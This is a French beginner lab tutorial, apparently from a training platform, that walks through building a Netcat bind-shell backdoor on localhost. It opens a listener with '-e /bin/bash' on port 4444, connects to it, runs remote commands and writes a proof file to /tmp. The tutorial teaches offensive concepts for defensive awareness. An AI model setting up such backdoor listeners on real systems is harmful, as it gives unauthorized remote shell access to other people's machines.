Créer une backdoor avec Netcat

LinuxBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez à créer une backdoor basique à l'aide de Netcat, un utilitaire réseau polyvalent. Une backdoor est une méthode permettant de contourner l'authentification normale pour obtenir un accès à distance à un ordinateur. Vous vous entraînerez à configurer un écouteur sur une machine "victime" simulée et à vous y connecter depuis une machine "attaquante" simulée pour exécuter des commandes à distance. Ce laboratoire démontre des concepts fondamentaux de mise en réseau utilisés en cybersécurité, offrant un aperçu des techniques offensives et de la sensibilisation défensive.

Ceci est un Guided Lab, qui fournit des instructions étape par étape pour vous aider à apprendre et à pratiquer. Suivez attentivement les instructions pour compléter chaque étape et acquérir une expérience pratique. Les données historiques montrent que c'est un laboratoire de niveau débutant avec un taux de réussite de 97%. Il a reçu un taux d'avis positifs de 100% de la part des apprenants.

Comprendre Netcat

Netcat (ou nc) est un utilitaire en ligne de commande permettant de lire et d'écrire sur des connexions réseau en utilisant TCP ou UDP. Il est souvent surnommé le "couteau suisse pour TCP/IP" en raison de sa polyvalence. Dans ce laboratoire, le script d'installation a déjà installé une version de Netcat adaptée à notre objectif.

Tout d'abord, vérifions que Netcat est installé et affichons son menu d'aide. Cela nous montrera les options disponibles.

Exécutez la commande suivante dans votre terminal :

nc -h

Vous devriez voir une liste d'options de commande. La sortie ressemblera à ceci (les versions peuvent varier) :

[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
 -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
 -e filename  program to exec after connect [dangerous!!]
 -b   allow broadcasts
...

Portez une attention particulière aux options -e et -c. La sortie les marque explicitement comme "dangereuses" (dangerous). C'est parce qu'elles vous permettent d'exécuter un programme, tel qu'un shell de commande, et de le connecter à un port réseau. C'est exactement la fonctionnalité que nous utiliserons pour créer notre backdoor. Comprendre pourquoi les fonctionnalités d'un outil sont considérées comme dangereuses est un élément clé de l'apprentissage de la cybersécurité.

Créer l'écouteur de la backdoor

Dans cette étape, vous allez configurer un terminal pour qu'il agisse comme la machine "victime". Cette machine exécutera un écouteur Netcat qui attendra une connexion entrante. Lorsqu'une connexion sera établie, elle accordera à la personne qui se connecte un shell de commande, créant ainsi une backdoor.

Nous utiliserons le port 4444 pour cet exercice. Les ports sont des points de terminaison de communication qui permettent d'accéder à différents services sur une machine via un réseau.

Dans votre terminal actuel, exécutez la commande suivante pour démarrer l'écouteur :

nc -lvnp 4444 -e /bin/bash

Décomposons cette commande :

  • -l : Met Netcat en mode écoute, attendant les connexions entrantes.
  • -v : Active le mode verbeux, fournissant plus de détails sur la connexion.
  • -n : Indique à Netcat d'utiliser des adresses IP numériques au lieu de résoudre les noms d'hôtes, ce qui peut être plus rapide.
  • -p 4444 : Spécifie le port sur lequel écouter, dans ce cas, le port 4444.
  • -e /bin/bash : C'est la partie la plus critique. Elle indique à Netcat d'exécuter le programme /bin/bash (le shell Bash) et de connecter son entrée et sa sortie au socket réseau dès qu'un client se connecte.

Après avoir exécuté la commande, votre terminal affichera un message indiquant qu'il écoute, puis semblera se bloquer. C'est normal. Il attend maintenant une connexion.

listening on [any] 4444 ...

Ne fermez pas ce terminal. Nous l'appellerons le terminal victime. Vous devrez ouvrir un nouveau terminal pour l'étape suivante.

Se connecter à la backdoor

Maintenant, vous allez jouer le rôle de "l'attaquant". Vous ouvrirez un nouveau terminal et utiliserez Netcat pour vous connecter à l'écouteur que vous avez démarré à l'étape précédente. Comme la "victime" et "l'attaquant" sont sur la même machine dans ce laboratoire, vous vous connecterez à l'adresse IP localhost, qui est 127.0.0.1.

Tout d'abord, ouvrez un nouveau terminal. Vous pouvez le faire en faisant un clic droit dans la zone du terminal et en sélectionnant "Nouvel onglet" ou en utilisant le raccourci Ctrl+Shift+T. Nous appellerons ce nouveau terminal le terminal attaquant.

Dans le nouveau terminal attaquant, exécutez la commande suivante pour vous connecter à l'écouteur :

nc 127.0.0.1 4444

Après avoir exécuté cette commande, vous verrez un message de connexion dans le terminal victime :

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33333

(Le numéro de port 33333 sera un port aléatoire à nombre élevé)

Votre terminal attaquant affichera maintenant un curseur clignotant, mais sans invite de commande. C'est parce que vous êtes maintenant à l'intérieur du shell Bash qui s'exécute sur le terminal victime. Vous avez réussi à établir un shell distant. Toute commande que vous taperez ici sera exécutée sur la machine "victime".

Exécuter des commandes à distance

Vous disposez maintenant d'un shell distant. Testons-le en exécutant quelques commandes depuis le terminal attaquant. Ces commandes seront exécutées dans le contexte du terminal victime.

Dans le terminal attaquant, tapez la commande suivante et appuyez sur Entrée :

whoami

La sortie sera labex, qui est le compte utilisateur du shell victime.

labex

Maintenant, trouvons le répertoire de travail actuel du shell distant :

pwd

La sortie affichera le répertoire personnel de l'utilisateur labex.

/home/labex/project

Pour prouver que vous avez le contrôle, créons un fichier sur le système "victime". Exécutez cette commande dans le terminal attaquant :

echo "Backdoor was here" > /tmp/proof.txt

Cette commande crée un fichier nommé proof.txt dans le répertoire /tmp avec un texte à l'intérieur. Vous ne verrez aucune sortie.

Maintenant, vérifions que le fichier a été créé. Dans le terminal attaquant, lisez le contenu du fichier :

cat /tmp/proof.txt

Vous devriez voir le texte que vous venez d'écrire :

Backdoor was here

Exécution de commandes à distance réussie

Vous avez réussi à exécuter des commandes à distance et à modifier le système de fichiers de la victime. Pour terminer la session, vous pouvez appuyer sur Ctrl+C dans le terminal attaquant. Cela fermera la connexion, et le processus d'écoute Netcat dans le terminal victime se terminera également.

Résumé

Dans ce laboratoire, vous avez appris à créer et interagir avec une simple backdoor en utilisant Netcat. Vous avez pratiqué la mise en place d'un écouteur sur une machine "victime" en utilisant les options -l, -p et -e pour servir un shell de commande. Vous avez ensuite agi en tant qu'"attaquant" en vous connectant à cet écouteur depuis un autre terminal et en exécutant des commandes à distance.

Cet exercice démontre une capacité puissante, bien que dangereuse, de Netcat. Comprendre comment de tels outils peuvent être utilisés pour un accès non autorisé est une compétence fondamentale en cybersécurité, vous aidant à mieux reconnaître, prévenir et vous défendre contre des attaques similaires dans le monde réel.